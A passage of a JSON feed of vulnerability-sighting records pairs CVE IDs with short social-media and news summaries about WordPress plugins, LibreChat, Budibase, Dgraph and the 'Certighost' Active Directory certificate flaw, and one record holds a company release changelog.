\u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6FD19B1F-1F77-4F64-9ABE-2CE38EE2616E", "creation_timestamp": "2026-06-29T15:56:17.811830Z"}, {"uuid": "fd9cddbf-5b9e-4937-879b-0eb1baf529fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54825", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpgv5cenw525", "content": "CVE-2026-54825 wpdatatables (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T16:16:06.696310Z"}, {"uuid": "e7154a90-baff-4992-8d3c-6e4b871455ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54029", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgwlnia2z23", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54029 \u0432 LibreChat: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/F3899DA9-395C-4FF1-8335-10096B656CF2", "creation_timestamp": "2026-06-29T16:42:01.716878Z"}, {"uuid": "7f8ccde9-4762-4a39-9f16-d2882eef7e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54033", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgwo7li3t2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54033 \u0432 LibreChat: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/8A4F8C3E-BF72-4C7C-B82E-97F474955F87", "creation_timestamp": "2026-06-29T16:43:27.688822Z"}, {"uuid": "c12a3a7e-a052-4090-80d6-abb329e0eed7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54812", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpgyimdmh32i", "content": "CVE-2026-54812 motors-car-dealership-classified-listings (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T17:16:07.478799Z"}, {"uuid": "ec74b817-2a37-44b6-963b-de4192c12807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54291", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0991", "content": "", "creation_timestamp": "2026-08-13T08:46:32.790432Z"}, {"uuid": "568f884e-e69f-4ca5-ae77-9b79674c7872", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54826", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mph3tveglw2i", "content": "CVE-2026-54826 supportcandy (CVSS Score 4.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T18:16:07.245825Z"}, {"uuid": "c8c3e578-5d8f-43de-8512-caf11abcbc22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54231", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph3vg2wcb2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54231: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 \u0432 ABRT \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D5241133-1112-4DFE-BCB6-4FB91AAFA13D", "creation_timestamp": "2026-06-29T18:16:58.149287Z"}, {"uuid": "f95973c2-3c3d-469f-9a07-a889592e116f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54230", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph3z7euek2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54230 \u0432 ABRT: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/E6418709-2B33-490A-8E17-AFB0D0BDB9FF", "creation_timestamp": "2026-06-29T18:19:05.416162Z"}, {"uuid": "94206a84-6bbe-49ad-81f3-6a8d94071866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54351", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph76ojqyj2t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54351 \u0432 Budibase: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/3D2E897A-1C0C-4395-A351-12DE01BB4311", "creation_timestamp": "2026-06-29T19:15:50.424272Z"}, {"uuid": "9ef8a19a-6fbd-414d-b6e0-2471fe65db2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54824", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mph7773box2i", "content": "CVE-2026-54824 quick-adsense-reloaded (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T19:16:07.623802Z"}, {"uuid": "1764ae23-1174-47e8-a669-72f6ff7c4b89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54352", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph77k3sah23", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54352 \u0432 Budibase: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/A0DB0CCD-330D-495C-8969-C700C2628D60", "creation_timestamp": "2026-06-29T19:16:19.132727Z"}, {"uuid": "4bd519e5-ece9-431d-95c2-107754e82649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph7i7q34h23", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54350 \u0432 Budibase: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6D0407B1-154E-4436-8AC0-2556A2FEF94F", "creation_timestamp": "2026-06-29T19:21:10.431203Z"}, {"uuid": "303f1266-9228-423e-a516-31e1832f237e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54353", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph7ixoj6o2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54353 \u0432 Budibase: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/78E8EE3C-6247-44FE-80AE-E4FA0311257B", "creation_timestamp": "2026-06-29T19:21:35.342900Z"}, {"uuid": "02afdcb4-0bfb-428a-ba7f-8f4a8984b623", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54814", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mphckhdxdj26", "content": "CVE-2026-54814 motors-car-dealership-classified-listings (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T20:16:06.668207Z"}, {"uuid": "1d2e0382-ff5b-4338-959c-4edf58148597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54818", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mphfvqu4o72j", "content": "CVE-2026-54818 wp-slimstat (CVSS Score 6.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T21:16:07.057203Z"}, {"uuid": "b6830918-4c71-4a0d-a6da-26fba95689b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54475", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mphhdvij522x", "content": "CVE-2026-54475: Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ: Temporary destination ownership takeover", "creation_timestamp": "2026-06-29T21:41:55.247083Z"}, {"uuid": "e71dbd05-6e38-4eb9-906a-7c3ef9781088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54817", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mphjazjwle25", "content": "CVE-2026-54817 mstore-api (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T22:16:06.619366Z"}, {"uuid": "3dbe3330-d0dc-4c93-845c-54c8250d74f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54888", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphka2ti2e27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54888 \u0432 mdex: \u0443\u0433\u0440\u043e\u0437\u0430 DoS \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0438\n\n\n\nhttps://kripta.biz/posts/F49CC60B-7854-40B4-B3E0-E85730482E57", "creation_timestamp": "2026-06-29T22:33:27.806545Z"}, {"uuid": "2178f3a9-317a-43c9-a96f-2752258de303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54829", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mphmmd2wiq2i", "content": "CVE-2026-54829 wp-photo-album-plus (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T23:16:06.924728Z"}, {"uuid": "15cf4759-86ca-486f-bb98-5386cc075070", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54888", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphnfwlsoh2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54888 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 leandrocp mdex: \u0443\u0433\u0440\u043e\u0437\u0430 DoS \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/BC51E8B6-96E8-4E5D-9A56-FF15F9A762B6", "creation_timestamp": "2026-06-29T23:30:25.972426Z"}, {"uuid": "08f538a7-f90b-4737-a9f8-1bc0bf1de855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54636", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mphnruqvj324", "content": "\ud83d\udccc CVE-2026-54636 - Dokku is a docker-powered PaaS. Prior to 0.38.7, the cron plugin utilizes commands in the app.json file to manage system cron running as the Dokku use... https://www.cyberhub.blog/cves/CVE-2026-54636", "creation_timestamp": "2026-06-29T23:37:06.852347Z"}, {"uuid": "5e1b2cf1-0ee2-4eb0-a24d-fb92597a20d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54821", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mphpxmac5a25", "content": "CVE-2026-54821 visual-link-preview (CVSS Score 4.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-30T00:16:06.754862Z"}, {"uuid": "77031058-049e-43ef-bebc-038a5130db61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54030", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphrdgxors2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54030 \u0432 LibreChat: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/4DEB9978-7DE5-4D50-B7A7-6951A368E7E1", "creation_timestamp": "2026-06-30T00:40:37.596911Z"}, {"uuid": "4de6adf6-6646-446b-be38-1c52f8e44eb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54030", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mphrdgxc5x2r", "content": "LibreChat \u5b89\u5168\u6f0f\u6d1e CVE-2026-54030 \u6df1\u5ea6\u89e3\u6790:\u5f71\u54cd\u3001\u4fee\u590d\u4e0e\u9632\u62a4\u6307\u5357\n\n\n\nhttps://qian.cx/posts/40464D16-D786-4216-A9DC-8024A2A389A6", "creation_timestamp": "2026-06-30T00:40:38.032589Z"}, {"uuid": "357b3317-50c0-4279-82f2-485d3006f597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mphych4fat27", "content": "WSO2 patched seven flaws across API Manager and gateways, led by a CVSS 10 JWT auth bypass (CVE-2026-5430). Update WSO2 API Manager now.\n\n#WSO2 #APISecurity #CVE #AuthBypass #Cybersecurity #Infosec", "creation_timestamp": "2026-06-30T02:45:20.842503Z"}, {"uuid": "c5ba363c-1a55-466c-9e52-0465d1178bb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/BleepingComputer/25344", "content": "\u200aCertighost and the Privilege Hiding in Your Certificate Authority\n\nCVE-2026-54121 lets a standard domain user turn your Enterprise CA into a Domain Controller. The patch is the easy part. The lesson is standing privilege, implicit trust, and treating PKI as the Tier 0 identity infrastructure it has always been. [...]\n\nhttps://www.bleepingcomputer.com/news/security/certighost-and-the-privilege-hiding-in-your-certificate-authority/", "creation_timestamp": "2026-08-18T23:00:03.900071Z"}, {"uuid": "6929badb-9a39-436b-8c6f-1f5ccb222585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-5430", "content": "", "creation_timestamp": "2026-08-06T12:15:04.860463Z"}, {"uuid": "c8e55374-6ea6-43fb-a8bb-dc91780d9022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54981", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1004", "content": "", "creation_timestamp": "2026-08-13T08:52:37.430378Z"}, {"uuid": "48a5a417-ec4f-4c86-a080-85875f72c7b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54123", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1004", "content": "", "creation_timestamp": "2026-08-13T08:52:35.176380Z"}, {"uuid": "4d84c022-1e62-44eb-b99f-516949a39c46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/3505b49f03364a9484362f9967ad24df", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *fix(dashboard): v2 ter* [\\#7583](https://github.com/Wishibam/Marketplace-api/pull/7583)\n        - *fix(dashboard): fix retailer filter param, enrich stock export and deprecate getSize/getColor* [\\#7602](https://github.com/Wishibam/Marketplace-api/pull/7602)\n    - [\ud83d\uded2\ud83d\udd0e Tri \u2014 passer en vue filtr\u00e9e par marchand (Marchand > Liste produit > D\u00e9tail produit)](https://trello.com/c/QtKdZOeE/2444-%F0%9F%9B%92%F0%9F%94%8E-tri-passer-en-vue-filtr%C3%A9e-par-marchand-marchand-liste-produit-d%C3%A9tail-produit) **\ud83e\udd75 Retour de test**\n        - *fix(wms): sorting retailer list* [\\#7588](https://github.com/Wishibam/Marketplace-api/pull/7588)\n    - [\ud83d\udd0d WMS - PACKING - Recherche au-del\u00e0 de la limite des 30 commandes](https://trello.com/c/cw1UsrG7/2427-%F0%9F%94%8D-wms-packing-recherche-au-del%C3%A0-de-la-limite-des-30-commandes) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *:sparkles: Add new search options for packing view* [\\#7589](https://github.com/Wishibam/Marketplace-api/pull/7589)\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n    - [\ud83d\udce6\u2611\ufe0f WMS \u2014 Tri des colis : d\u00e9p\u00f4t de masse pour l'exp\u00e9dition (syst\u00e8me de coches)](https://trello.com/c/oMuGHbGB/2429-%F0%9F%93%A6%E2%98%91%EF%B8%8F-wms-tri-des-colis-d%C3%A9p%C3%B4t-de-masse-pour-lexp%C3%A9dition-syst%C3%A8me-de-coches) **\ud83e\udd75 Retour de test**\n        - *:sparkles: WMS rework massTransfer on TriShipping* [\\#7593](https://github.com/Wishibam/Marketplace-api/pull/7593)\n    - [Multi plateforme - droit de r\u00e9tractation](https://trello.com/c/ebl3rUnS/2400-multi-plateforme-droit-de-r%C3%A9tractation) **\ud83e\udd73Testing**\n        - *Add right of withdrawal feature* [\\#7606](https://github.com/Wishibam/Marketplace-api/pull/7606)\n        - *Add migrations to create missing return number sequences for each org\u2026* [\\#7614](https://github.com/Wishibam/Marketplace-api/pull/7614)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *:memo: docs: map PrintNode accounts per env and organization* [\\#7573](https://github.com/Wishibam/Marketplace-api/pull/7573)\n    - *:memo: docs: define \"done\" for dev tasks as green PR awaiting review* [\\#7574](https://github.com/Wishibam/Marketplace-api/pull/7574)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *:bug: fix: first-image reprocessing actually reaches the eshop* [\\#7598](https://github.com/Wishibam/Marketplace-api/pull/7598)\n    - *:bug: fix: give each processed image a unique URL so re-processing reaches the eshop* [\\#7599](https://github.com/Wishibam/Marketplace-api/pull/7599)\n    - *:zap: perf: first-image processing once per flush, off the import worker hot path* [\\#7604](https://github.com/Wishibam/Marketplace-api/pull/7604)\n    - *:bug: fix: normalize stripe alerting errors to avoid string offset TypeError* [\\#7616](https://github.com/Wishibam/Marketplace-api/pull/7616)\n \n- **D\u00e9j\u00e0 en production**\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)\n    - *:sparkles: feat: add --no-send option to Sellsy invoice command* [\\#7608](https://github.com/Wishibam/Marketplace-api/pull/7608)\n    - *:bug: fix: send Sellsy invoice note from organization config* [\\#7610](https://github.com/Wishibam/Marketplace-api/pull/7610)\n    - *:wrench: chore: sync master security hotfixes (CVE) into develop* [\\#7612](https://github.com/Wishibam/Marketplace-api/pull/7612)", "creation_timestamp": "2026-06-30T09:37:43.478407Z"}, {"uuid": "008fc09c-ee40-4b7a-aafc-5b994f7b9937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54061", "type": "seen", "source": "https://bsky.app/profile/thestandup.bsky.social/post/3mtjsocbdbj2y", "content": "CVE-2026-54061, critical: Dgraph Alpha exposes the external snapshot import RPCs on gRPC port 9080 with no authentication. An unauthenticated client can open StreamExtSnapshot, and the receiver calls Prepare() first, which deletes and replaces the existing store. #dev", "creation_timestamp": "2026-08-20T17:50:42.557465Z"}, {"uuid": "5274228d-f83c-4aa1-8ff8-2833e0a37219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54689", "type": "published-proof-of-concept", "source": "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-wppf-h75h-6pm6", "content": "", "creation_timestamp": "2026-08-19T20:35:08.137030Z"}, {"uuid": "361b4fd7-c71a-4bdd-a3f7-f7d198bbddf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54688", "type": "published-proof-of-concept", "source": "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-q87f-qc2r-2gw4", "content": "", "creation_timestamp": "2026-08-19T20:35:10.646380Z"}, {"uuid": "30a3daa6-49ab-42fd-97c4-5ba636882b18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/BleepingComputer/25344", "content": "\u200aCertighost and the Privilege Hiding in Your Certificate Authority\n\nCVE-2026-54121 lets a standard domain user turn your Enterprise CA into a Domain Controller. The patch is the easy part. The lesson is standing privilege, implicit trust, and treating PKI as the Tier 0 identity infrastructure it has always been. [...]\n\nhttps://www.bleepingcomputer.com/news/security/certighost-and-the-privilege-hiding-in-your-certificate-authority/", "creation_timestamp": "2026-08-19T00:00:07.538100Z"}, {"uuid": "f19fe075-3e1f-401b-bf1e-0f8793435cfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54284", "type": "published-proof-of-concept", "source": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-pwgv-4x5q-6m9f", "content": "", "creation_timestamp": "2026-08-17T20:35:04.863856Z"}, {"uuid": "2207adca-f744-405a-8e30-c9c3823b2934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/pphm_HackerNews/2359", "content": "\ud83d\udd34 Certighost' Flaw Haunts Microsoft Active Directory Certificates\n\nResearchers released a proof-of-concept (PoC) exploit for a now-patched flaw in Microsoft's Active Directory Certificate Services (AD CS) that can allow a low-privileged domain user to impersonate a domain controller and fully compromise an AD environment. The flaw was present due to a defective trust boundary within the certificate-based client authentication aspect of Microsoft AD Services.\n\nIn its July raft of a record 622 Patch Tuesday updates, Microsoft patched a flaw tracked as CVE-2026-54121, which the researchers who discovered and exploited it \u2014 Aniq Fakhrul and Muhammad Ali \u2014 called \"Certighost,\" according to a post by the researchers on GitHub.", "creation_timestamp": "2026-08-22T00:00:10.939771Z"}, {"uuid": "84a48454-f233-44c8-8e37-4d1072187fb3", "vulnerability_lookup_origin": 